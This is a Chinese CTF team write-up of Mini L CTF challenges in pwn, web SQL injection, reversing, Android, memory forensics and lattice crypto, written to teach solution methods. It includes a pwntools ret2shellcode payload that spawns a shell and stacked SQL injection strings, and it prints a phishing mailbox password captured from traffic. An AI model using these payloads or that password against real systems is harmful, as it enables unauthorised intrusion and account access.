Mini L CTF WriteUp By Int3rn3t_Expl0rer Team

警告
本文最后更新于 2020-05-17,文中内容可能已过时。

wp

Mini L CTF WP by arttnba3

hello

证明了我真的是菜鸡的一道pwn题, 搞了半天才明白XD

做题环境Manjaro-KDE

首先使用checksec指令查看保护, 可以发现保护基本都是关的, 只有Partial RELRO, 那么基本上是可以为所欲为了wwww

win环境下拖进IDA进行分析

可以发现在vul函数存在明显的栈溢出

main函数中调用了vul

那么程序漏洞很明显了:

  • 使用fgets读入最大为72个字节的字符串, 但是只分配给了48字节的空间, 存在栈溢出

又有一个可疑的bd函数, 那么第一时间想到**ret2text**——构造payload跳转到bd

但是很明显, bd函数基本是是空的(悲)

然后我就在这里卡了半天, 证明我真的菜XD

那么我们该如何利用这个bd呢?

可以看到在bd中存在操作jmp rsp, 那么其实我们可以利用这个指令跳转回栈上, 执行我们放在栈上的shellcode

也就是说这其实是一道ret2shellcode的题

ret2text执行过程:

  • rsp永远指向栈顶
  • 当我们用常规的ret2text构造48字节字符串+8字节rbp+8字节bd函数地址 (覆盖掉原返回地址) 的payload时, rsp指向的其实是bd函数地址的位置
  • **ret指令进入bd后弹出bd地址, rsp指向栈内储存的rbp的值 (预期内) **
  • **bd函数将rbppush入栈中, 此时rsp再加8, 指向被新压入的rbp (预期内) **
  • bd函数执行rsp上的指令 那么我们就可以在rsp预期内指向的地址上覆盖上我们的shellcode使其被执行

接下来就是ret2shellcode的:

ret2shellcode修正过程:

  • rsp最终指向的地址放上我们待执行的shellcode
  • 由于长度不够, 我们可以把getshellshellcode放在读入的字符串的最开始的地方, 再通过汇编指令进行跳转
  • rsp所指向的位置覆盖上shellcode, 改变rsp的值使其指向getshellshellcode并再次进行跳转, 完成getshell

那么payload就很容易构造出来了:


context.arch = 'amd64'
sc1 = asm(shellcraft.sh())
sc2 = asm('sub rsp,64')//48字节的字符串+8字节的rsp+8字节的rbp, 跳回开头
sc3 = asm('jmp rsp')
elf = ELF('hello')
payload = sc1 + b'a'*(56-len(sc1)) + p64(elf.symbols['bd']) + sc2 + sc3

Mini L CTF Writeup by luoqi@n

Sign in

看源码就送flag

Web

id_wife

这个还真挺好玩的, 把认识的师傅id都输了一遍, 直到我把自己的id输了进去 (草

这里拿小sad举例:

看见这个, 我立刻想到了强网杯的随便注 (其实找了半天) , 因为那道题用到了堆叠注入的知识点, 所以我就试了一下

sad'); show databases;

成了, 再试一下查询表

sad'); show tables;

这个看起来这么臭的表一定有问题 (确信

这里我用到了handler, 这条语句使我们能够一行一行的浏览一个表中的数据, 所以:

sad');handler`1145141919810`open;handler`1145141919810`read first;

好的给了个假flag…再读取下一条

sad');handler`1145141919810`open;handler`1145141919810`read first;handler`1145141919810`read next;

直接给出flag (因为是动态flag所以不贴了

reverse

EPL-Fish

这道题还不如放到misc里去…一点逆向都没用到

下载文件发现这玩意是用来钓鱼的假qq登陆界面, 于是随便输入账号密码试了一下

草这钓鱼界面太真实了, 用wireshark抓包试试看

可以看到这个程序用smtp协议登录邮箱, 将用户输入的账号和密码发送到[email protected]这个邮箱. 由于smtp协议登录时的账号和密码默认为base64编码加密, 所以我们很容易得到邮箱密码: FGYYJTMAZVTUPSWH

但是邮箱的账号和密码在网页登录的时候显示密码错误, 163邮箱的密码也默认必须由数字字母组成, 这个密码明显不符合, 但是后来RX大哥用客户端登录成功了, 于是问了下出题人, 这里贴一下:

登录成功后, 在收件箱发现一个压缩包: thing.zip, 打开之后在其中的QQ.e文件里发现flag

miniL{Epl_Oh_gre@T}

Misc

MiniGameHacking

这游戏好玩得很 (虽然为了抢一血解法非常暴力

在data.unity3d文件里人 肉 搜 索到的flag (因为flag的minil少了一个m, 搜索minil是搜不到的

minil{diosamasayikou}

后来听别人说游戏通关也有flag, 一共15关, 我打到14关就过不去了只能放弃 (

EasyVmem

2G的vmem文件…我要死了草…

本着这么大的文件不可能拖到kali里用Volatility挨个找的想法, 我跟ga1@xy嫖了一个windows用的取证工具: Magnet AXIOM, 加载了半个多小时之后终于成了

然后在剪贴板里看到了一个假flag和奇怪的东西

假flag里 (base64) 的大致内容是grep cha113nge to start the game, 至于下面那一堆s3cR3t (太多了就不放这了) 后面的数字一直在变, 从10 10一直到289 289, 猜测是289x289像素的图片, 于是让RX大哥画了个图:

扫一下就可以获得flag (出题人说他是在volatility环境下设置的题, 所以我这算是抄近路了

miniLCTF{mAst3R_0F_v0Lat1l1tY!}

MITM_0

这是一个中间人攻击的流量包

这里把192.168.1.152这个ip base64一下交上去就可以了

MITM_1

去查一下common name:

一看这个东西就是跟证书有关的, 于是在流量包里搜索certificate

issuer, commonname, 那这个Liuyukun CA应该就是要找的东西了, base64一下就能得到flag

总结

比赛这么多天, 看着RX大哥穿了一道又一道, 我就只能划水….混了个第三还是挺开心的

Mini L CTF WP by Reverier

逆向

easy-re

本题就是一个很常规的逆向, 不过F5之后不太好康而已.

F5出来的源码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __m128i v3; // xmm1
  __m128i v4; // xmm0
  __m128i v5; // xmm1
  __m128i v6; // xmm0
  __int64 v7; // rdx
  signed __int64 v8; // rax
  __int128 v10; // [rsp+20h] [rbp-1B8h]
  __int128 v11; // [rsp+30h] [rbp-1A8h]
  __int128 v12; // [rsp+40h] [rbp-198h]
  __int128 v13; // [rsp+50h] [rbp-188h]
  __int128 v14; // [rsp+60h] [rbp-178h]
  __int128 v15; // [rsp+70h] [rbp-168h]
  char Str[16]; // [rsp+80h] [rbp-158h]
  char v17[16]; // [rsp+90h] [rbp-148h]
  __int16 v18; // [rsp+A0h] [rbp-138h]
  char v19; // [rsp+A2h] [rbp-136h]
  __int128 v20; // [rsp+A3h] [rbp-135h]
  __int64 v21; // [rsp+B3h] [rbp-125h]
  int v22; // [rsp+BBh] [rbp-11Dh]
  char v23; // [rsp+BFh] [rbp-119h]
  char v24[256]; // [rsp+C0h] [rbp-118h]

  v3 = _mm_load_si128((const __m128i *)&unk_140003440);
  _mm_store_si128((__m128i *)&v10, _mm_load_si128((const __m128i *)&xmmword_140003400));
  _mm_store_si128((__m128i *)&v12, _mm_load_si128((const __m128i *)&xmmword_1400033E0));
  v4 = _mm_load_si128((const __m128i *)&dword_140003410);
  _mm_store_si128((__m128i *)&v11, v3);
  v5 = _mm_load_si128((const __m128i *)&xmmword_1400033F0);
  _mm_store_si128((__m128i *)&v14, v4);
  v6 = _mm_load_si128((const __m128i *)&unk_140003430);
  _mm_store_si128((__m128i *)&v13, v5);
  _mm_store_si128((__m128i *)Str, v6);
  v15 = 0i64;
  v18 = 26727;
  v20 = 0i64;
  v19 = 116;
  _mm_store_si128((__m128i *)v17, _mm_load_si128((const __m128i *)&unk_140003420));
  v21 = 0i64;
  v22 = 0;
  v23 = 0;
  puts(Str);
  cin_read(std::cin, v7, v24);
  v8 = 0i64;
  do
  {
    if ( v24[v8] != *((_DWORD *)&v10 + v8) + 100 )
    {
      puts(&v17[8]);
      exit(1);
    }
    ++v8;
  }
  while ( v8 < 20 );
  return puts(&v17[14]);
}

程序将输入和v10处的数据+100后进行比对.

相关数据:

xmmword_1400033E0 xmmword 10000000E000000150000000Fh
.rdata:00000001400033E0                                             ; DATA XREF: main+39r
.rdata:00000001400033F0     xmmword_1400033F0 xmmword 1FFFFFFFB0000000FFFFFFFC3h
.rdata:00000001400033F0                                             ; DATA XREF: main+55r
.rdata:0000000140003400     xmmword_140003400 xmmword 50000000A0000000500000009h
.rdata:0000000140003400                                             ; DATA XREF: main+19r
.rdata:0000000140003410     dword_140003410 dd 0FFFFFFFDh           ; DATA XREF: main+47r
.rdata:0000000140003414                     db  0Fh
.rdata:0000000140003415                     db    0
.rdata:0000000140003416                     db    0
.rdata:0000000140003417                     db    0
.rdata:0000000140003418                     db  15h
.rdata:0000000140003419                     db    0
.rdata:000000014000341A                     db    0
.rdata:000000014000341B                     db    0
.rdata:000000014000341C                     db  19h
.rdata:000000014000341D                     db    0
.rdata:000000014000341E                     db    0
.rdata:000000014000341F                     db    0
.rdata:0000000140003420     unk_140003420   db  72h ; r             ; DATA XREF: main+8Fr
.rdata:0000000140003421                     db  20h
.rdata:0000000140003422                     db  66h ; f
.rdata:0000000140003423                     db  6Ch ; l
.rdata:0000000140003424                     db  61h ; a
.rdata:0000000140003425                     db  67h ; g
.rdata:0000000140003426                     db  3Ah ; :
.rdata:0000000140003427                     db    0
.rdata:0000000140003428                     db  77h ; w
.rdata:0000000140003429                     db  72h ; r
.rdata:000000014000342A                     db  6Fh ; o
.rdata:000000014000342B                     db  6Eh ; n
.rdata:000000014000342C                     db  67h ; g
.rdata:000000014000342D                     db    0
.rdata:000000014000342E                     db  52h ; R
.rdata:000000014000342F                     db  69h ; i
.rdata:0000000140003430     unk_140003430   db  50h ; P             ; DATA XREF: main+63r
.rdata:0000000140003431                     db  6Ch ; l
.rdata:0000000140003432                     db  65h ; e
.rdata:0000000140003433                     db  61h ; a
.rdata:0000000140003434                     db  73h ; s
.rdata:0000000140003435                     db  65h ; e
.rdata:0000000140003436                     db  20h
.rdata:0000000140003437                     db  69h ; i
.rdata:0000000140003438                     db  6Eh ; n
.rdata:0000000140003439                     db  70h ; p
.rdata:000000014000343A                     db  75h ; u
.rdata:000000014000343B                     db  74h ; t
.rdata:000000014000343C                     db  20h
.rdata:000000014000343D                     db  79h ; y
.rdata:000000014000343E                     db  6Fh ; o
.rdata:000000014000343F                     db  75h ; u
.rdata:0000000140003440     unk_140003440   db    8                 ; DATA XREF: main+29r
.rdata:0000000140003441                     db    0
.rdata:0000000140003442                     db    0
.rdata:0000000140003443                     db    0
.rdata:0000000140003444                     db  17h
.rdata:0000000140003445                     db    0
.rdata:0000000140003446                     db    0
.rdata:0000000140003447                     db    0
.rdata:0000000140003448                     db    1
.rdata:0000000140003449                     db    0
.rdata:000000014000344A                     db    0
.rdata:000000014000344B                     db    0
.rdata:000000014000344C                     db 0FDh
.rdata:000000014000344D                     db 0FFh
.rdata:000000014000344E                     db 0FFh
.rdata:000000014000344F                     db 0FFh

简单的把数据都复制出来, 输出一下:

#include <stdio.h>
char test[] = {9, 5, 0xA, 5, 0xFD, 0xF, 0x15, 0x19, 0xf, 0x15, 0xe, 0x1, 0xc3,0xf,0xfb, 0x1};

int main() {
  for (int i = 0; i < 16; i++) {
    printf("%c", test[i] + 0x64);
  }
}
// minil{easyre's_easy}

这个程序的输出顺序有些乱, 自己拼接一下就好了.

machine

我对着题目给出的四串乱七八糟的东西发了两天的呆 最后没办法了去问Frank才发现这道题竟然是要F12康脚本…

F12之后拿到脚本, 尝试JS反混淆等皆不成功, 直接分析怎么看也不可能, 于是动态调试, 把题目的脚本中return语句全打上断点, 一步一步调试就能看见flag了.

What’s Virtialization

这道题表面上看着是虚拟化, 实际上没发现和虚拟化有什么关系emmmm…

F5之后分析的main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // eax
  int global_iter; // [esp+D0h] [ebp-2Ch]
  signed int i; // [esp+DCh] [ebp-20h]
  signed int j; // [esp+DCh] [ebp-20h]
  signed int k; // [esp+DCh] [ebp-20h]
  signed int v11; // [esp+E8h] [ebp-14h]
  int input_length; // [esp+F4h] [ebp-8h]

  printf("Welcome to MiniLCTF!\n");
  printf("Plz input your flag:");
  scanf_s("%s", input, 100);
  input_length = strlen(input);
  v11 = 100;                                    // fibnacci[9]: [1, 1, 2, 3, 5, 8, 13, 21 ,34]
  if ( fibnacci[0] * fibnacci[0] + input_length * input_length >= fibnacci[0] * input_length * fibnacci[2]
    && or(input_length, fibnacci[1]) == fibnacci[8] - fibnacci[0] )// if input_length == 32 or input_length == 33
  {
    global_iter = 0;
    for ( i = 0; i < 6; ++i )
    {
      first_proc[i] = xor(input[i], const_array1[global_iter]);
      global_iter = (fibnacci[0] + global_iter) % (fibnacci[4] + fibnacci[1]);// just iter++
                                                // when iter > 5, iter = 0
      if ( and(first_proc[i], const_array2[i]) != first_proc[i] )
      {
        v3 = xor(fibnacci[3] / 3, fibnacci[0]); // v3 = 0
        v11 = and(v11, v3);                     // v11 = 0
      }
    }                                           // just reconize is minil{ or not
    if ( or(v11, fibnacci[8]) != fibnacci[6] + fibnacci[7] )// False when v11 in [0, 2, 32, 34]
    {
      for ( j = 0; j < 13; ++j )
      {
        byte_4060F6[j] = xor(zero_array[j], const_array1[global_iter]);
        global_iter = (fibnacci[1] + global_iter) % (fibnacci[3] * fibnacci[2]);
        if ( and(byte_4060F6[j], const_array3[j]) != byte_4060F6[j] )
        {
          v4 = xor(fibnacci[5] / 2 - 3, fibnacci[1]);
          v11 = and(v11, v4);
        }
      }
      if ( or(v11, fibnacci[7]) != fibnacci[5] + fibnacci[6] )
      {
        for ( k = 0; k < 13; ++k )
        {
          byte_406103[k] = xor(byte_40609B[k], const_array1[global_iter]);
          global_iter = (global_iter + fibnacci[2] / 2) % (fibnacci[5] - fibnacci[2]);
          if ( and(byte_406103[k], const_array4[k]) != byte_406103[k] )
          {
            v5 = xor(fibnacci[7] / 7, fibnacci[3]);
            v11 = and(v11, v5);
          }
        }
        if ( and_utils(v11) != v11 - fibnacci[0] )
        {
          printf("\nCongratulations! Your flag is right!");
          getchar();
        }
      }
    }
  }
  getchar();
  return 0;
}

其中xor, orand涉及到一点模电的知识, 很好识别.

常量数组带入后再次简化的程序:

#include <stdio.h>
#include <string.h>
int or_utils(int a, int b) { return ~a & ~b; }

int and (int a, int b) {
    int v1, v2;
    v1 = or_utils(a, a);
    v2 = or_utils(b, b);
    return or_utils(v1, v2);
}

int or (int a, int b) {
    int v1, v2;
    v1 = or_utils(a, b);
    v2 = or_utils(a, b);
    return or_utils(v1, v2);
}

int and_utils(int a1) { return or_utils(a1, a1); }

int xor(int a, int b) {
        int v2;  // ST08_4
        int v3;  // eax
        v2 = or_utils(a, b);
        v3 = and(a, b);
        return or_utils(v3, v2);
    }

int fibnacci[9] = {1, 1, 2, 3, 5, 8, 13, 21, 34};

int main() {
    int v3;
    int v4;
    int v5;
    int global_iter;
    signed int i;
    signed int j;
    signed int k;
    signed int is_ok;
    int input_length;
    char input[105];
    char first_proc[7] = {};
    char arr_020408[7] = "020408";
    char const_array2[7] = "}[^]}{";
    char const_array3[14] = "dtKcXxDmYgoNY";
    char const_array4[14] = "@D]pTYHp@Yw^O";
    char second_proc[14] = {};
    char third_proc[86] = {};

    printf("Welcome to MiniLCTF!\n");
    printf("Plz input your flag:");
    scanf("%s", input);
    input_length = strlen(input);
    is_ok = 100;  // fibnacci[9]: [1, 1, 2, 3, 5, 8, 13, 21 ,34]
    global_iter = 0;
    if (input_length == 32 || input_length == 33) {
        for (i = 0; i < 6; ++i) {
            first_proc[i] = input[i] ^ arr_020408[global_iter];
            global_iter++;  // just iter++
            if (global_iter > 5) global_iter = 0;
            // when iter > 5, iter = 0
            if (and(first_proc[i], const_array2[i]) != first_proc[i]) {
                v3 = 0;   // v3 = 0
                is_ok = 0;  // is_ok = 0
            }
        }
        if (is_ok)
        {   //global_iter = 0 now.
            for (j = 0; j < 13; ++j) {
                second_proc[j] = arr_020408[global_iter];
                global_iter = (1 + global_iter) % 5;
                //global_iter is in [0, 1, 2, 3, 4, 5]
                if (and(second_proc[j], const_array3[j]) != second_proc[j]) {
                    v4 = 0;
                    is_ok = 0;
                }
            }
            if (is_ok) {
                for (k = 0; k < 13; ++k) {
                    third_proc[k] = arr_020408[global_iter];
                    global_iter = (global_iter + 1) % 5;
                    if (and(third_proc[k], const_array4[k]) != third_proc[k]) {
                        v5 = 0;
                        is_ok = 0;
                    }
                }
                if (is_ok) {
                    printf("\nCongratulations! Your flag is right!");
                    getchar();
                }
            }
        }
    }
    getchar();
    return 0;
}

这个程序和题目的作用相同.

稍微改一下, 编写解题程序:

#include <stdio.h>
#include <string.h>

int main() {
    int v3;
    int v4;
    int v5;
    int global_iter;
    signed int i;
    signed int j;
    signed int k;
    signed int is_ok;
    int input_length;
    char input[105] = {};
    char first_proc[7] = {};
    char arr_020408[7] = "020408";
    char const_array2[7] = "}[^]}{";
    char const_array3[14] = "dtKcXxDmYgoNY";
    char const_array4[14] = "@D]pTYHp@Yw^O";
    char second_proc[14] = {};
    char zero_array[14] = {};
    char zero_array1[86] = {};
    char third_proc[86] = {};
    input_length = strlen(input);
    is_ok = 100;
    global_iter = 0;
    for (i = 0; i < 6; ++i) {
        input[i] = const_array2[i] ^ arr_020408[global_iter];
        global_iter++;
        if (global_iter > 5) global_iter = 0;
    }
    for (j = 0; j < 13; ++j) {
        second_proc[j] = const_array3[j] ^ arr_020408[global_iter];
        global_iter = (1 + global_iter) % 6;
        input[j+6] = second_proc[j];
    }
    for (k = 0; k < 13; ++k) {
        third_proc[k] = const_array4[k] ^ arr_020408[global_iter];
        global_iter = (global_iter + 1) % 6;
        input[k + 19] = third_proc[k];
    }
    printf("flag is: %s", input);
    getchar();
    return 0;
}
//flag is: MiniMCTF{Wh@t_iS_virti@liz@tiOn}

复制下来改改就好了.

最后的输出中MiniL变成了MiniM, 手动改过来就是正确flag了.

安卓

TestOnly

dex2jar导出为jar之后拖入到jd-gui, 发现就是个简单的算法题. 不过查了好久也没查到Java中的SHA代指SHA几, 最后索性直接复制下来跑出答案.

import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;

public class test {
    public static int a(char paramChar) {
        int i;
        if (paramChar < '€') {
            i = paramChar;
        } else {
            i = a(Character.toString(paramChar));
        }
        return i;
    }

    public static int a(String paramString) {
        int i = paramString.length();
        int j = 0;
        if (i > 0)
            j = paramString.getBytes(StandardCharsets.UTF_8)[0] & 0xFF;
        return j;
    }

    public static String b(String paramString) {
        try {
            MessageDigest messageDigest = MessageDigest.getInstance("SHA");
            byte[] arrayOfByte = messageDigest.digest(paramString.getBytes("UTF-8"));
            StringBuffer stringBuffer = new StringBuffer();
            for (byte b = 0; b < arrayOfByte.length; b++) {
                int i = arrayOfByte[b] & 0xFF;
                if (i < 16)
                    stringBuffer.append("0");
                stringBuffer.append(Integer.toHexString(i));
            }
            return stringBuffer.toString();
        } catch (Exception exception) {
            System.out.println(exception.toString());
            exception.printStackTrace();
            return "";
        }
    }

    public static String J() {
        String str = "";
        try {
            String str1 = b(
                    "B08020D0FACFDAF81DB46890E4040EDBB8613DA5ABF038F8B86BD44525D2E27B26E22ACD06388112D8467FD688C79CC7EA83F27440577350E8168C2560368616");
            str = str1;
        } catch (Exception exception) {
            exception.printStackTrace();
        }
        char[] arrayOfChar = new char[30];
        arrayOfChar[0] = 'U';
        arrayOfChar[1] = '_';
        arrayOfChar[2] = '\005';
        arrayOfChar[3] = 'S';
        arrayOfChar[4] = 'K';
        arrayOfChar[5] = '`';
        arrayOfChar[6] = '^';
        arrayOfChar[7] = Character.MIN_VALUE;
        arrayOfChar[8] = '\021';
        arrayOfChar[9] = '=';
        arrayOfChar[10] = 'f';
        arrayOfChar[11] = 'W';
        arrayOfChar[12] = 'P';
        arrayOfChar[13] = '{';
        arrayOfChar[14] = '\004';
        arrayOfChar[15] = 'i';
        arrayOfChar[16] = 'U';
        arrayOfChar[17] = 'S';
        arrayOfChar[18] = 'e';
        arrayOfChar[19] = 'm';
        arrayOfChar[20] = '7';
        arrayOfChar[21] = 'U';
        arrayOfChar[22] = '\027';
        arrayOfChar[23] = '0';
        arrayOfChar[24] = 'j';
        arrayOfChar[25] = '\001';
        arrayOfChar[26] = '(';
        arrayOfChar[27] = '\007';
        arrayOfChar[28] = 'a';
        arrayOfChar[29] = '\037';
        for (byte b = 0; b < arrayOfChar.length; b++)
            arrayOfChar[b] = (char) (char) (arrayOfChar[b] ^ a(str.charAt(b)));
        return String.copyValueOf(arrayOfChar).replace("flag", "minil");
    }

    public static void main(String[] args) {
        System.out.println(J());
    }
}

Misc

EasyVmem

这道题是由我和luoqi@n共同完成的.

首先要从Vmem中提取出剪贴板数据, 导出了一个巨大的txt:

s3cR3t:10 10 s3cR3t:10 11 s3cR3t:10 12 s3cR3t:10 13 s3cR3t:10 14 s3cR3t:10 15 s3cR3t:10 16 s3cR3t:10 17 s3cR3t:10 18 s3cR3t:10 19 s3cR3t:10 20 s3cR3t:10 22 s3cR3t:10 23 s3cR3t:10 24 s3cR3t:10 25 s3cR3t:10 26 s3cR3t:10 27 s3cR3t:10 28 s3cR3t:10 29 s3cR3t:10 30 s3cR3t:10 31 s3cR3t:10 33 s3cR3t:10 34 s3cR3t:10 35 s3cR3t:10 36 s3cR3t:10 37 s3cR3t:10 38 s3cR3t:10 39 s3cR3t:10 40 s3cR3t:10 41 s3cR3t:10 42 s3cR3t:10 44 s3cR3t:10 45 s3cR3t:10 46 s3cR3t:10 47 s3cR3t:10 48 s3cR3t:10 49 s3cR3t:10 50 s3cR3t:10 51 s3cR3t:10 52 s3cR3t:10 53 s3cR3t:10 55 s3cR3t:10 56 s3cR3t:10 57 s3cR3t:10 58 s3cR3t:10 59 s3cR3t:10 60 s3cR3t:10 61 s3cR3t:10 62 s3cR3t:10 63 s3cR3t:10 64 s3cR3t:10 65 s3cR3t:10 66 s3cR3t:10 67 s3cR3t:10 68 s3cR3t:10 69 s3cR3t:10 70 s3cR3t:10 71 s3cR3t:10 72 s3cR3t:10 73 s3cR3t:10 74 s3cR3t:10 75 s3cR3t:10 76 s3cR3t:10 78 s3cR3t:10 79 s3cR3t:10 80 s3cR3t:10 81 s3cR3t:10 82 s3cR3t:10 83 s3cR3t:10 84 s3cR3t:10 85 s3cR3t:10 86 s3cR3t:10 87 s3cR3t:10 100 s3cR3t:10 101 s3cR3t:10 102 s3cR3t:10 103 s3cR3t:10 104 s3cR3t:10 105 s3cR3t:10 106 s3cR3t:10 107 s3cR3t:10 108 s3cR3t:10 109 s3cR3t:10 111 s3cR3t:10 112 s3cR3t:10 113 s3cR3t:10 114 s3cR3t:10 115 s3cR3t:10 116 s3cR3t:10 117 s3cR3t:10 118 s3cR3t:10 119 s3cR3t:10 120 s3cR3t:10 121 s3cR3t:10 134 s3cR3t:10 135 s3cR3t:10 136 s3cR3t:10 137 s3cR3t:10 138 s3cR3t:10 139 s3cR3t:10 140 s3cR3t:10 141 s3cR3t:10 142 s3cR3t:10 143 s3cR3t:10 145 s3cR3t:10 146 s3cR3t:10 147 s3cR3t:10 148 s3cR3t:10 149 s3cR3t:10 150 s3cR3t:10 151 s3cR3t:10 152 s3cR3t:10 153 s3cR3t:10 154 s3cR3t:10 156 s3cR3t:10 157 s3cR3t:10 158 s3cR3t:10 159 s3cR3t:10 160 s3cR3t:10 161 s3cR3t:10 162 s3cR3t:10 163 s3cR3t:10 164 s3cR3t:10 165 s3cR3t:10 190 s3cR3t:10 191 s3cR3t:10 192 s3cR3t:10 193 s3cR3t:10 194 s3cR3t:10 195 s3cR3t:10 196 s3cR3t:10 197 s3cR3t:10 198 s3cR3t:10 199 s3cR3t:10 212 s3cR3t:10 213 s3cR3t:10 214 s3cR3t:10 215 s3cR3t:10 216 s3cR3t:10 217 s3cR3t:10 218 s3cR3t:10 219 s3cR3t:10 220 s3cR3t:10 221 s3cR3t:10 223 s3cR3t:10 224 s3cR3t:10 225 s3cR3t:10 226 s3cR3t:10 227 s3cR3t:10 228 s3cR3t:10 229 s3cR3t:10 230 s3cR3t:10 231 s3cR3t:10 232 s3cR3t:10 233 s3cR3t:10 234 s3cR3t:10 235 s3cR3t:10 236 s3cR3t:10 237 s3cR3t:10 238 s3cR3t:10 239 s3cR3t:10 240 s3cR3t:10 241 s3cR3t:10 242 s3cR3t:10 243 s3cR3t:10 244 s3cR3t:10 246 s3cR3t:10 247 s3cR3t:10 248 s3cR3t:10 249 s3cR3t:10 250 s3cR3t:10 251 s3cR3t:10 252 s3cR3t:10 253 s3cR3t:10 254 s3cR3t:10 255 s3cR3t:10 257 s3cR3t:10 258 s3cR3t:10 259 s3cR3t:10 260 s3cR3t:10 261 s3cR3t:10 262 s3cR3t:10 263 s3cR3t:10 264 s3cR3t:10 265 s3cR3t:10 266 s3cR3t:10 268 s3cR3t:10 269 s3cR3t:10 270 s3cR3t:10 271 s3cR3t:10 272 s3cR3t:10 273 s3cR3t:10 274 s3cR3t:10 275 s3cR3t:10 276 s3cR3t:10 277 s3cR3t:10 279 s3cR3t:10 280 s3cR3t:10 281 s3cR3t:10 282 s3cR3t:10 283 s3cR3t:10 284 s3cR3t:10 285 s3cR3t:10 286 s3cR3t:10 287 s3cR3t:10 288 s3cR3t:10 289 s3cR3t:11 10

and more...

数据量太大就不全部贴出来了.

然后写一下绘图脚本:

from PyQt5 import QtGui, QtWidgets, QtCore
from PyQt5.QtGui import *
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *

import sys

class DrawWidget(QtWidgets.QWidget):
    def __init__(self, parent=None):
        super().__init__(parent=parent)
        self.setStyleSheet('background-color: #ffffff;')

    def drawPoints(self, qp):
        qp.setPen(QPen(Qt.black, 2))
        with open('./inp.txt', 'r') as inp:
            data = inp.read().split('s3cR3t:')
            print(data)
            for i in data:
                try:
                    x = int(i.split(' ')[0])
                    y = int(i.split(' ')[1])
                    qp.drawPoint(x, y)
                except:
                    pass

    def paintEvent(self, QPaintEvent):
        qp = QPainter()
        qp.begin(self)
        self.drawPoints(qp)
        qp.end()

if __name__ == "__main__":
    app = QtWidgets.QApplication(sys.argv)
    window = DrawWidget()
    window.show()
    window.resize(300, 300)
    app.exec_()

扫码, 解决.

minecraft-2

登陆服务器的时候开着wireshark, 抓包抓到flag2的子服务器地址, 然后改名Ruby, 直连flag2服务器获取flag.

Crypto

ιIl

从网上找到一个轮子, 稍加修改使用sage跑一下:

# sage

h = 31497596336552470100084187834926304075869321337353584228754801815485197854209104578876574798202880445492465226847681886628987815101276129299179423009194336979092146458547058477361338454307308727787100367492619524471399054846173175096003547542362283035506046981301967777510149938655352986115892410982908002343
p = 126982824744410328945797087760338772632266265605499464155168564006938381164343998332297867219509875837758518332737386292044402913405044815273140449332476472286262639891581209911570020757347401235079120185293696746139599783586620242086604902725583996821566303642800016358224555557587702599076109172899781757727
c = 81425203325802096867547935279460713507554656326547202848965764201702208123530941439525435560101593619326780304160780819803407105746324025686271927329740552019112604285594877520543558401049557343346169993751022158349472011774064975266164948244263318723437203684336095564838792724505516573209588002889586264735

v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([[1, h], [0, p]])
shortest_vector = m.LLL()[0]
f, g = shortest_vector
print(f, g)
f = abs(f)
g = abs(g)

a = f*c % p % g
m = a * inverse_mod(f, g) % g
print(m)

最终flag: minil{l1Ii5n0tea5y}

f**k&base

这道题就是上面那道的变种. 用brainfuck解密一下source.txt:

from Crypto.Util.number import *
q=getPrime(1024)
f=getPrime(511)
g=getPrime(511)
while g<pow(q/4,0.5) and g>pow(q/2,0.5):
	g=getPrime(511)
f_inv_q=inverse(f,q)
h=f_inv_q*g%q
m=bytes_to_long(b'flag')#flag is base**(flag)
r=getPrime(510)
e=(r*h+m)%q
print f
print g
print q
print e

解密脚本:

# sage

p = 172620634756442326936446284386446310176482010539257694929884002472846127607264743380697653537447369089693337723649017402105400257863085638725058903969478143249108126132543502414741890867122949021941524916405444824353100158506448429871964258931750339247018885114052623963451658829116065142400435131369957050799
c = 130055004464808383851466991915980644718382040848563991873041960765504627910537316320531719771695727709826775790697704799143461018934672453482988811575574961674813001940313918329737944758875566038617074550624823884742484696611063406222986507537981571075140436761436815079809518206635499600341038593553079293254

f = 4685394431238242086047454699939574117865082734421802876855769683954689809016908045500281898911462887906190042764753834184270447603004244910544167081517863
g = 5326402554595682620065287001809742915798424911036766723537742672943459577709829465021452623299712724999868094408519004699993233519540500859134358256211397

a = f*c % p % g
m = a * inverse_mod(f, g) % g
print(m)
# m = 629250774757584627131327668302148468

做题情况

感谢luoqi@n大哥和arttnba3大哥带我飞~

虽然只拿了第三, 没有pwn手也没有Web手的情况下也挺不错了hhh~

作为一个Re手自我感觉良好, 虽然安卓题就写了一道emmm

Re解题情况应该是参赛组中最好的.

总结

还是要继续学Re啊~ 同时作为一个二进制组员, pwn多多少少也要会…

毕竟CTFpwn的比重太大了, 全盘放弃实在是伤…

0%